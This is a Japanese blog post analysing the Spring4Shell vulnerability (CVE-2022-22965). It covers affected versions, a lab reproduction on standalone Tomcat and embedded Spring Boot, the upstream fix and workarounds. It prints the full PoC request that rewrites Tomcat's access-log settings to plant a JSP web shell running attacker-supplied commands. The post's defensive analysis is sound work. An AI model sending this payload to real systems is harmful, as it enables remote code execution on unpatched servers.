ちょっと話題の記事

cve-2022-22965 Spring4Shell の影響調査

2022.04.02

はじめに

こむろです。

Spring4Shell についてです。どうせお前ら調査してたんだろ?と思ったあなた、大正解です。

結論

非常に広範な影響がありましたが、現時点で、Spring Framework 本体への修正パッチがすでに適用されています。そのためこれに準じたアップデートを実施することで脆弱性を回避できます。

またこれらのアップデートができない場合、以下の対応を取ることもできます。

  • 不要なパラメータのマッピングを行わないようにコードを追加する (Binding のブラックリストへ class.* 系を追加)
  • Java8 へ一旦ダウングレードする
  • Tomcat 9.0.62 へ Update することで設定値自体の書き換えをできないようにする

SpringBoot に関して言えば、組み込み Tomcat で動作している場合、この PoC のコードはそのままでは動作しません。また後述しますが、動作する ClassLoader が異なるため、PoC で指定したパラメータはそのまま適用しても意味がありません。

1.3.5. JSP Limitations

JSP が動作せず、指定パラメータが機能しないため、一応問題ないとは言えます。が、脆弱性の本質的な部分ではないので注意が必要です。

攻撃対象の条件に合致しないとしても、「JSP が実行できないから問題ないや」とか「Java8 だから関係ないや」ではなく、根本原因を理解し、何がマズイのかを理解しておくのは重要かと思います。

発端

以下のブログ及び Twitter にて Spring4Shell への言及がなされました。

2022/03/31時点でまだCVEは Publish されていません。 2022/04/01 時点で Publish 済みです。 cve-2022-22965

奇しくも同時に別の脆弱性 Spring Cloud Functions もアナウンスされています。

cyrc-advisory-spring-vulnerabilities-spring4shell-cve-2022-22963

我々は、Spring Cloud Function の利用はなかったため、後者の脆弱性の影響は受けないようです。今回調査の主たる対象は前者の Spring4Shell と呼ばれる脆弱性です。

原因となる依存及びバージョン

原因とされているクラス及び依存ライブラリは、以下になります。

  • spring-beans-*
  • CachedIntrospectionResults
  • spring-webmvc もしくは spring-webflux
  • Tomcat を起動しサーブレットコンテナとして利用
  • war 形式での Spring アプリケーション
    • 但し bootWar の場合は、組み込み Tomcat で起動されるようなので対象外

Spring Framework から派生したものに関してはほぼ全て影響を受ける可能性があるようです。脆弱性の対象となる Spring Framework のバージョンは以下の通り。

  • Spring Framework versions 5.3.0 〜 5.3.17 及び 5.2.0 〜 5.2.19
  • 上記以下のバージョン全て

さらに Java のバージョンが 9 以降の必要があるようです。我々の開発しているアプリケーションでは Java8 の EOL 回避のため、ほとんどの環境で Java11 を適用しているため対象となります。

調査のアプローチ

前回と同様にいくつかのステップを踏んで検証を行います。

  1. PoC のコードを元に攻撃を再現する
  2. SpringBoot アプリケーションに対して当該攻撃が成立するかを検証
  3. 成立した場合、緩和策によって攻撃を防げるか
  4. 成立しない場合、成立する場合との違いは何か
  5. おまけ: 根本原因の追求

PoC として様々なリポジトリが公開されています。我々は初期段階で公開されていた以下を参考に、攻撃の成立を調査しました。

BobTheShoplifter/Spring4Shell-POC

攻撃の概要

どのように攻撃を受けるのでしょうか。PoC のコードから読み解きます。

前提

  • Spring MVC を利用して DataBinding が実行される何らかのエンドポイントが存在する

動作

  • x-www-form-urlencoded を指定し、POST メソッドで以下のコードを Body に指定し実行する。ただし、これらは POST のみで発生するものではなく Query パラメータを受け取り POJO へマッピングするようなものでも同様の現象は発生する。恐らく Key=Value の形で受け取りマッピングするようなもの(DataBinding が実行されうるもの)全てが対象となりそう(PoC のコードが全てを網羅しているわけではないようです)
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
  • webapps/ROOT 配下に Tomcat がログとして tomcatwar.jsp というファイルが作成する
  • 指定した URL 配下に tomcatwar.jsp というパスを追加して GET で実行する
  • Status 200 が返ってきた場合、脆弱性によって動的に生成された JSP が存在するため攻撃が成功する

上記コードでは何が行われているのか

上記コードでは一体なにを書き換えているのでしょうか。

外部リクエストから注入されたパラメータによって、ClassLoader を取得し以下の設定を書き換えています。

AccessLogValve.html

ClassLoader を経由し Tomcat の Logger のパラメータを書き換えています。

pattern

ログ出力のためのパターンを指定する箇所です。従って、ここを書き換えることでログファイルに任意の出力をさせることができます。今回は、JSP で実行可能なコードが記述されています。

suffix

出力されるログファイルの Suffix です。 .jsp とすることでログファイルは JSP の拡張子を持ったファイルとして出力されます

directory

ログファイル出力先設定です。 webapps/ROOT は、Tomcat を単独で動かした際コンテンツを公開する場所になっており、ここに JSP を配置すると読み込めるようです。

prefix

本来ログファイルの先頭につく文字列ですが、今回はファイル名そのものになります。

fileDateFormat

特に Timeformat によってファイル名を変える必要がないので Blank

つまり

これらを実行することにより 「Tomcat のログファイル設定のためのパラメータが上書きされ、本来ログファイルとして出力されるものが、JSP ファイルとして出力される」 というのが上記 PoC コードの一連の動きのようです。

検証方法

1. PoC と同じく Tomcat を構築し war 構成の Spring アプリケーションを実行する

手順は PoC そのものを利用しています。攻撃対象のエンドポイントは以下です。

@RequestMapping("/spring4shell")
fun handle(request: Spring4ShellRequest) {
    println(request)
}

data class Spring4ShellRequest(
  val name: String?
)

少し構成を追加し、以下のエンドポイントを確認用に実装しました。

@RequestMapping("/print")
@Throws(Exception::class)
fun print(response: HttpServletResponse) {
  val first =
    (this.javaClass.classLoader as WebappClassLoaderBase).resources.context.parent.pipeline.first as AccessLogValve
  val writer = response.writer
  writer.println(String.format("AccessLogValve.getSuffix() = %s", first.suffix))
  writer.println(String.format("AccessLogValve.getPrefix() = %s", first.prefix))
  writer.println(String.format("AccessLogValve.getPattern() = %s", first.pattern))
  writer.println(String.format("AccessLogValve.getDirectory() = %s", first.directory))
  writer.println(String.format("AccessLogValve.getPattern() = %s", first.pattern))
  writer.println(String.format("AccessLogValve.getFileDateFormat() = %s", first.fileDateFormat))
  val clazz: Class<out AccessLogValve> = first.javaClass
  val currentLogFile: Field = clazz.getDeclaredField("currentLogFile")
  currentLogFile.isAccessible = true
  val file: File = currentLogFile.get(first) as File
  writer.println(java.lang.String.format("AccessLogValve.currentLogFile = %s", file.getAbsolutePath()))
}

PoC のコードでは AccessValve の設定値を書き換えているため、攻撃で設定値変更前後でこれらの値に変化があるかを確認します。PoC のコードを攻撃対象のエンドポイントへ実行し、準備しておいた /print エンドポイントを攻撃対象の Call 前後で叩くと以下のように変化することを確認しました。

Before

AccessLogValve.getSuffix() = .txt
AccessLogValve.getPrefix() = localhost_access_log
AccessLogValve.getPattern() = %h %l %u %t "%r" %s %b
AccessLogValve.getDirectory() = logs
AccessLogValve.getPattern() = %h %l %u %t "%r" %s %b
AccessLogValve.getFileDateFormat() = .yyyy-MM-dd
AccessLogValve.currentLogFile = /private/tmp/apache-tomcat-9.0.60/logs/localhost_access_log.2022-04-02.txt

After

AccessLogValve.getSuffix() = .jsp
AccessLogValve.getPrefix() = tomcatwar
AccessLogValve.getPattern() = %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } %{suffix}i
AccessLogValve.getDirectory() = webapps/ROOT
AccessLogValve.getPattern() = %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } %{suffix}i
AccessLogValve.getFileDateFormat() = 
AccessLogValve.currentLogFile = /private/tmp/apache-tomcat-9.0.60/webapps/ROOT/tomcatwar.jsp

Tomcat のアクセスログの設定値が書き換わっていることが確認できます。

2. 実行可能 jar を利用し SpringBoot の組み込み Tomcat を実行する

セキュリティレポートには、制限された ClassLoader であるため状況が異なるとあります。本当でしょうか。

SpringBoot アプリケーションにPoCのコードによるリクエストを送信すると、以下のようにパラメータそのものは受け入れているようです(Log Level を TRACE レベルにしています)

2022-04-01 21:08:00.058 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Caching PropertyDescriptors for class [jp.classmethod.cve.sample.Spring4ShellRequest]
2022-04-01 21:08:00.058 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'class' of type [java.lang.Class]
2022-04-01 21:08:00.076 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'name' of type [java.lang.String]
2022-04-01 21:08:00.094 TRACE 80413 --- [nio-8080-exec-1] o.s.b.AbstractNestablePropertyAccessor   : Creating new nested BeanWrapperImpl for property 'class'
2022-04-01 21:08:00.094 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Getting BeanInfo for class [java.lang.Class]
2022-04-01 21:08:00.094 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     findClass(java.lang.ObjectCustomizer)
2022-04-01 21:08:00.094 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :       findClassInternal(java.lang.ObjectCustomizer)
2022-04-01 21:08:00.095 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Returning ClassNotFoundException
2022-04-01 21:08:00.095 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Passing on ClassNotFoundException
2022-04-01 21:08:00.095 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     findClass(java.lang.ClassCustomizer)
2022-04-01 21:08:00.095 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :       findClassInternal(java.lang.ClassCustomizer)
2022-04-01 21:08:00.099 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Returning ClassNotFoundException
2022-04-01 21:08:00.100 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Passing on ClassNotFoundException
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Caching PropertyDescriptors for class [java.lang.Class]
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'annotatedInterfaces' of type [[Ljava.lang.reflect.AnnotatedType;]
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'annotatedSuperclass' of type [java.lang.reflect.AnnotatedType]
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'annotation' of type [boolean]
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'annotations' of type [[Ljava.lang.annotation.Annotation;]
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'anonymousClass' of type [boolean]
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'array' of type [boolean]
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'canonicalName' of type [java.lang.String]
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'class' of type [java.lang.Class]
2022-04-01 21:08:00.104 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'classes' of type [[Ljava.lang.Class;]
2022-04-01 21:08:00.105 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'componentType' of type [java.lang.Class]
2022-04-01 21:08:00.105 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'constructors' of type [[Ljava.lang.reflect.Constructor;]
2022-04-01 21:08:00.105 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'declaredAnnotations' of type [[Ljava.lang.annotation.Annotation;]
2022-04-01 21:08:00.105 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'declaredClasses' of type [[Ljava.lang.Class;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'declaredConstructors' of type [[Ljava.lang.reflect.Constructor;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'declaredFields' of type [[Ljava.lang.reflect.Field;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'declaredMethods' of type [[Ljava.lang.reflect.Method;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'declaringClass' of type [java.lang.Class]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'enclosingClass' of type [java.lang.Class]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'enclosingConstructor' of type [java.lang.reflect.Constructor]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'enclosingMethod' of type [java.lang.reflect.Method]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'enum' of type [boolean]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'enumConstants' of type [[Ljava.lang.Object;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'fields' of type [[Ljava.lang.reflect.Field;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'genericInterfaces' of type [[Ljava.lang.reflect.Type;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'genericSuperclass' of type [java.lang.reflect.Type]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'interface' of type [boolean]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'interfaces' of type [[Ljava.lang.Class;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'localClass' of type [boolean]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'memberClass' of type [boolean]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'methods' of type [[Ljava.lang.reflect.Method;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'modifiers' of type [int]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'module' of type [java.lang.Module]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'name' of type [java.lang.String]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'nestHost' of type [java.lang.Class]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'nestMembers' of type [[Ljava.lang.Class;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'package' of type [java.lang.Package]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'packageName' of type [java.lang.String]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'primitive' of type [boolean]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'signers' of type [[Ljava.lang.Object;]
2022-04-01 21:08:00.106 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'simpleName' of type [java.lang.String]
2022-04-01 21:08:00.107 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'superclass' of type [java.lang.Class]
2022-04-01 21:08:00.107 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'synthetic' of type [boolean]
2022-04-01 21:08:00.107 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'typeName' of type [java.lang.String]
2022-04-01 21:08:00.107 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'typeParameters' of type [[Ljava.lang.reflect.TypeVariable;]
2022-04-01 21:08:00.107 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     findClass(java.lang.reflect.GenericDeclarationCustomizer)
2022-04-01 21:08:00.107 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :       findClassInternal(java.lang.reflect.GenericDeclarationCustomizer)
2022-04-01 21:08:00.112 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Returning ClassNotFoundException
2022-04-01 21:08:00.112 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Passing on ClassNotFoundException
2022-04-01 21:08:00.113 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     findClass(java.lang.reflect.AnnotatedElementCustomizer)
2022-04-01 21:08:00.113 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :       findClassInternal(java.lang.reflect.AnnotatedElementCustomizer)
2022-04-01 21:08:00.116 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Returning ClassNotFoundException
2022-04-01 21:08:00.116 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Passing on ClassNotFoundException
2022-04-01 21:08:00.116 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     findClass(java.lang.reflect.TypeCustomizer)
2022-04-01 21:08:00.117 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :       findClassInternal(java.lang.reflect.TypeCustomizer)
2022-04-01 21:08:00.119 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Returning ClassNotFoundException
2022-04-01 21:08:00.119 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Passing on ClassNotFoundException
2022-04-01 21:08:00.120 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     findClass(java.lang.reflect.AnnotatedElementCustomizer)
2022-04-01 21:08:00.120 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :       findClassInternal(java.lang.reflect.AnnotatedElementCustomizer)
2022-04-01 21:08:00.120 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Returning ClassNotFoundException
2022-04-01 21:08:00.120 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Passing on ClassNotFoundException
2022-04-01 21:08:00.120 TRACE 80413 --- [nio-8080-exec-1] o.s.b.AbstractNestablePropertyAccessor   : Creating new nested BeanWrapperImpl for property 'module'
2022-04-01 21:08:00.120 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Getting BeanInfo for class [java.lang.Module]
2022-04-01 21:08:00.121 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     findClass(java.lang.ObjectCustomizer)
2022-04-01 21:08:00.121 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :       findClassInternal(java.lang.ObjectCustomizer)
2022-04-01 21:08:00.121 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Returning ClassNotFoundException
2022-04-01 21:08:00.121 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Passing on ClassNotFoundException
2022-04-01 21:08:00.121 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     findClass(java.lang.ModuleCustomizer)
2022-04-01 21:08:00.121 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :       findClassInternal(java.lang.ModuleCustomizer)
2022-04-01 21:08:00.124 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Returning ClassNotFoundException
2022-04-01 21:08:00.124 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Passing on ClassNotFoundException
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Caching PropertyDescriptors for class [java.lang.Module]
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'annotations' of type [[Ljava.lang.annotation.Annotation;]
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'class' of type [java.lang.Class]
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'classLoader' of type [java.lang.ClassLoader]
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'declaredAnnotations' of type [[Ljava.lang.annotation.Annotation;]
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'descriptor' of type [java.lang.module.ModuleDescriptor]
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'layer' of type [java.lang.ModuleLayer]
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'name' of type [java.lang.String]
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'named' of type [boolean]
2022-04-01 21:08:00.125 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Found bean property 'packages' of type [java.util.Set]
2022-04-01 21:08:00.125 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     findClass(java.lang.reflect.AnnotatedElementCustomizer)
2022-04-01 21:08:00.125 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :       findClassInternal(java.lang.reflect.AnnotatedElementCustomizer)
2022-04-01 21:08:00.125 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Returning ClassNotFoundException
2022-04-01 21:08:00.125 DEBUG 80413 --- [nio-8080-exec-1] o.a.c.loader.WebappClassLoaderBase       :     --> Passing on ClassNotFoundException
2022-04-01 21:08:00.126 TRACE 80413 --- [nio-8080-exec-1] o.s.b.AbstractNestablePropertyAccessor   : Creating new nested BeanWrapperImpl for property 'classLoader'
2022-04-01 21:08:00.126 TRACE 80413 --- [nio-8080-exec-1] o.s.beans.CachedIntrospectionResults     : Getting BeanInfo for class [jdk.internal.loader.ClassLoaders$AppClassLoader]

とても長いログなのですが class.module.classloader といったパラメータを探しに行っているようです。 CachedIntrospectionResults というクラスでパラメータを色々と探しているのがわかります。これらのパラメータを捜査した結果は Cache され以降のリクエストで利用されます。

ここで使われている ClassLoader は jdk.internal.loader.ClassLoaders の中に定義されている AppClassLoader のようです。

/print エンドポイントで Cast Error となっていたログを見たところ LaunchedURLClassLoader となっていました。 Spring の公式アナウンスが正しい情報です(当初書いた AppClassLoader は間違いと思われます)

java.lang.ClassCastException: class org.springframework.boot.loader.LaunchedURLClassLoader cannot be cast to class org.apache.catalina.loader.WebappClassLoaderBase (org.springframework.boot.loader.LaunchedURLClassLoader is in unnamed module of loader 'app'; org.apache.catalina.loader.WebappClassLoaderBase is in unnamed module of loader org.springframework.boot.loader.LaunchedURLClassLoader @7823a2f9)

この ClassLoader は getResources というインタフェースを持っていますが、引数に String を要求しており引数無しで呼び出せるようなものではありません。 WebappClassLoaderBase で定義されてる getResources は引数なしで呼び出し可能なためこの違いのようです。

LaunchedURLClassLoader.html

Adopt-JDK のコードから引用

classes/jdk/internal/loader/ClassLoaders.java#L151

元の攻撃コードでは resources というパラメータを指定してアクセスしていましたが、組み込みTomcat で動作した際に利用される ClassLoader には該当のパラメータ名に適合するものがありませんでした。従って、PoC のコードによる設定値の書き換えはできていないと考えられます。

ClassLoader の違い

通常の Tomcat を起動した際の ClassLoader は WebappClassLoaderBase でした。このクラスの Javadoc を確認します。

Tomcat - WebappClassLoaderBase.html#getResources()

resources を取得する getter が定義されています。以下はトラバースした結果。

  1. resource が取得できると次は Context へ WebResourceRoot.html#getContext()
  2. Context の Parent 取得 Container.html#getParent()
  3. Parent から Pipeline Container.html#getPipeline()
  4. Pipeline から先頭の Valve Pipeline.html#getFirst()
  5. 最終的に AccessLogValve へ到達 valves/AccessLogValve.html
  6. これらの値を改変することで、アクセスログの出力ファイルを悪意ある JSP に変換してコンテンツを公開している箇所に保存するよう指示する

恐らくこの差が、組み込みTomcat と通常の Tomcat との攻撃が成功するかどうかの差になるようです。

攻撃の成功可否について

いくつかの動きを組み合わせることで攻撃が成功するようです。今回コードや検証を行ってみたところ、

  1. Spring-mvc の DataBinding を利用したマッピングを行っている
    1. 本来期待した動作は、メソッドの引数に指定したクラスのパラメータに対して、リクエストのパラメータを自動的にBindしてくれることなのに、なぜかクラスに存在しないが有効なパラメータをなんとかして探し出そうとする
  2. 内部の ClassLoader を getter のトラバースで取得でき、さらに ClassLoader が内部の Resource への公開取得インタフェースを持っている

これらが揃うと、今回の攻撃が成功してしまうようです。

修正版

2022/04/01 時点で spring-framework 本体への修正が入り始めています

hspring-framework/releases/tag/v5.2.20.RELEASE

v4.3.XX 系のバックポート Issue は Decline となったようなので、Spring Framework 4 系には対応が入らないようです。SpringBoot 2.X 系については Spring Framework 5 系であるため、ひとまず修正があたったものへのアップデートを検討するべきでしょう。

maven - artifact/org.springframework.boot/spring-boot-starter-web/2.0.0.RELEASE

修正内容について

脆弱性で依存を指摘されていた CachedIntrospectionResult に以下の修正が入っています。

https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15

if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
    // Only allow all name variants of Class properties
    continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
        || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
    // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
    continue;
}

...(snip)

if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
        || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
    // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
    continue;
}

一部抜粋しています。 CachedIntrospectionResult のチェックコードを改良したようです。「Only allow all name variants of Class properties」 とコメントにあるように、クラスのプロパティ名のバリエーションのみ許可するといった動作に変更されているようです。

これらの変更が含まれるバージョンへアップデートすることで根本的な対策が完了すると言えるでしょう。すでに SpringBoot に関しては以下のアナウンスにて修正が取り込まれているようです。

ワークアラウンドについて

何らかの事情により、上記に示した最新バージョンへのアップデートができない場合、公式や非公式限らずワークアラウンドが公開されています。

Binding で明示的に Class.*class.* を含む Field を無視する

発覚当初から指摘されていたワークアラウンドですが、コードの追加及び修正が必要になります。 @ControllerAdvice を利用した広範囲を AOP によってカバーする方法がありましたが、Spring 公式からはそれ以外に以下のような Extended なクラスを作って Bean に登録する方法が紹介されています。

spring-framework-rce-early-announcement#suggested-workarounds

これらを実行すると以下のようにログが出力されます。

2022-04-02 22:41:10.229 DEBUG 83483 --- [nio-8080-exec-1] o.springframework.validation.DataBinder  : Field [class.module.classLoader.resources.context.parent.pipeline.first.pattern] has been removed from PropertyValues and will not be bound, because it has not been found in the list of allowed fields

